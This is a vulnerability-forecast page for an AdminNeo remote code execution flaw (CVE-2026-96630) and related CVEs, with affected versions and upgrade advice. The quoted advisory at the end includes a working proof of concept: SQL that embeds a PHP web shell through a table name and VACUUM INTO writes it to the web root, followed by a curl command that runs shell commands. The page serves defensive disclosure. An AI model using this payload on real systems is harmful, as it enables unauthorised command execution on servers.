Patch Forecast
Yellow warning
Plan into this sprint.

CVE-2026-96630 · GHSA-q5mp-gfjf-cf2j

AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

Risk score
48/100
CVSS
7.2 v3.1
Published
30 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute c…
Affected
adminneo-org/adminneo (composer) < 5.5.1
Fix
Upgrade adminneo-org/adminneo to 5.5.1 or later.
Exploitation
No known exploitation

Story map

Story map: adminneo-org/adminneoTHE FLAWSTHE FIXCVE-2026-96630AdminNeo: RCE via SQLiteVACUUM INTO (ATTACHBlocklist Bypass)CVSS 7.2CVE-2026-96631AdminNeo has Cookie AttributeInjection via UnsanitizedX-Forwarded-Prefix in…CVSS 8.2CVE-2026-96632AdminNeo Vulnerable to XSS viaRogue MySQL Server VersionString (CSP Nonce Bypass)CVSS 8.2CVE-2026-59978AdminNeo: version-cache arrayinjection causes persistentdenial of serviceCVSS 7.5Upgrade…5.5.0or later on your release lineWho is exposed{'products': ['AdminNeo'],'packages': [{'ecosystem':'composer', 'name':'adminneo-org/adminneo','vulnerable': '>= 4.6.0, <…AMBER · PATCH THIS WEEKadminneo-org/adminneoAdminNeo versions 4.6.0 to 5.5.0are vulnerable to cookieattribute injection via the`X-Forwarded-Prefix` HTTPheader. An attacker can injectarbitrary cookie attributes,allowing them to expand the…Where it standsPublic proof of conceptCONNECTS TOSame weaknessCWE-113 (CWE-113)3 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

adminneo-org/adminneo: Amber, patch this week. AdminNeo versions 4.6.0 to 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker can inject arbitrary cookie attributes, allowing them to expand the cookie scope to an attacker-controlled domain.

The flaws

  • CVE-2026-96630: AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass) (CVSS 7.2)
  • CVE-2026-96631: AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers (CVSS 8.2)
  • CVE-2026-96632: AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass) (CVSS 8.2)
  • CVE-2026-59978: AdminNeo: version-cache array injection causes persistent denial of service (CVSS 7.5)

The fix

Upgrade adminneo-org/adminneo: 5.5.0 or later on your release line

Who is exposed: {'products': ['AdminNeo'], 'packages': [{'ecosystem': 'composer', 'name': 'adminneo-org/adminneo', 'vulnerable': '>= 4.6.0, < 5.5.1'}], 'versions': ['4.6.0', '5.5.0', '5.5.1']}

Where it stands

  • Public proof of concept

Connects to

Why it is Yellow

  • CVSS 7.2 high
  • On your watchlist: Composer

Affected packages

PackageEcosystemVulnerableFixed in
adminneo-org/adminneocomposer< 5.5.15.5.1

References

Original description

## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) { // blocked } ``` Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked. ## Steps To Reproduce ### 1. Login to SQLite 1. Open AdminNeo and select driver: **SQLite** 2. Login and create a new database (e.g., `stage.db`) ### 2. Inject PHP code and write the shell Navigate to **SQL command** and execute: ```sql CREATE TABLE "<?php system($_GET['c']); ?>" (i int); VACUUM INTO '/var/www/html/shell.php'; ``` The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it. ### 3. Execute commands ```shell curl "http://TARGET/shell.php?c=id" # uid=0(root) gid=0(root) groups=0(root) ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Last activity 30 Oct 2026. Patch Forecast updates every hour.